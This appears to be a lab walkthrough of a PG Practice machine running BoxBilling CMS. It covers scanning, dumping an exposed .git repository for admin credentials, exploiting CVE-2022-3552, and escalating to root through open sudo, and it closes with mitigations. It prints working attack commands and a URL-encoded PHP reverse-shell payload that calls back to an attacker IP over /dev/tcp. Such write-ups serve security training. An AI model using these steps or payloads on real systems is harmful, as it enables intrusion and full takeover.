Post

bullyBox

bullyBox

Introduction

In this walkthrough, I exploited a PG Practice machine running BoxBilling CMS. Upon scanning the target, I identified ports 22 (SSH) and 80 (HTTP) as open. After resolving the domain bullybox.local by adding it to my /etc/hosts file, I navigated to the web interface and discovered that the site was running BoxBilling CMS version 4.22.1.5, which I confirmed by inspecting the page source.

To gain administrative access, I conducted a gobuster directory scan and discovered an exposed .git directory. Using git-dumper, I cloned the repository locally and analyzed its contents. Within the dumped files, I found credentials for an admin account. Using these credentials, I logged into the admin panel and exploited a known vulnerability — CVE-2022-3552 — to gain a foothold on the system.

After obtaining initial shell access, I enumerated further and discovered that the current user had unrestricted sudo privileges. By running sudo su, I escalated my privileges and obtained a root shell.

Nmap

TCP

Run a quick Nmap TCP scan:

1
sudo nmap -sV $IP --open

image.png

UDP

Check top 100 UDP ports:

1
sudo nmap -sU -F $IP

image.png

Full Port Scan

1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

We usually skip SSH.

Web

Port 80

We see that Boxbilling version of 4.22.1.5:

image.png

Searching for public exploits we can find one: BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)

I registered as kh4n@gmail.com : password123 and tried running the exploit. But it mentions that we need to be admin. I noticed from Gobuster scan that our server acting as non-bare git repo that and contains .git directory. We can use git-dumper and dump that repo locally.

git-dumper

image.png

In Python virtual environment install git-dumper:

1
2
3
4
5
mkdir venv
cd venv
python3 -m venv .venv
source .venv/bin/activate
pipx install git-dumper

Then run:

1
git-dumper http://bullybox.local/ git_loot

Reading bb-config.php file we can see admin user and their password:

image.png

Loot

Credentials

1
admin@bullybox.local : Playing-Unstylish7-Provided

I used this POC but couldn’t get a reverse shell.

1
python3 CVE-2022-3552.py  -d http://192.168.164.27 -u admin@bullybox.local -p Playing-Unstylish7-Provided

I saw that person in ExploitDB page URL encoded phpinfo, that’s why I URL-encoded reverse shell in POC.

1
<%3fphp+exec("/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.45.155/80+0>%261'")%3b%3f>

image.png

But this didn’t work either. So I changed to original ExploitDB POC.

I intercepted request then changed its request method in Burp and make it similar to the one provided in POC.

Right in Burp Suite I URL-encoded the shell using CTRL+U.

image.png

And then accessed it from browser:

image.png

Now I got a shell.

image.png

Privilege Escalation

Right with id command we can see that we are in sudo group.

image.png

Ridiculously we can execute any command without a password as root:

1
sudo -l

image.png

1
sudo su

image.png

Now we are root!

Mitigation

  • Restrict access to sensitive directories like .git on production web servers using .htaccess or web server configuration.
  • Update BoxBilling CMS to the latest patched version to avoid known vulnerabilities such as CVE-2022-3552.
  • Use strong, unique credentials and avoid hardcoding them in repositories.
  • Implement proper sudo policy: Restrict sudo access and use role-based access controls to limit privilege escalation opportunities.
  • Perform regular security audits and code reviews to catch exposed secrets and configuration flaws before deployment.
This post is licensed under CC BY 4.0 by the author.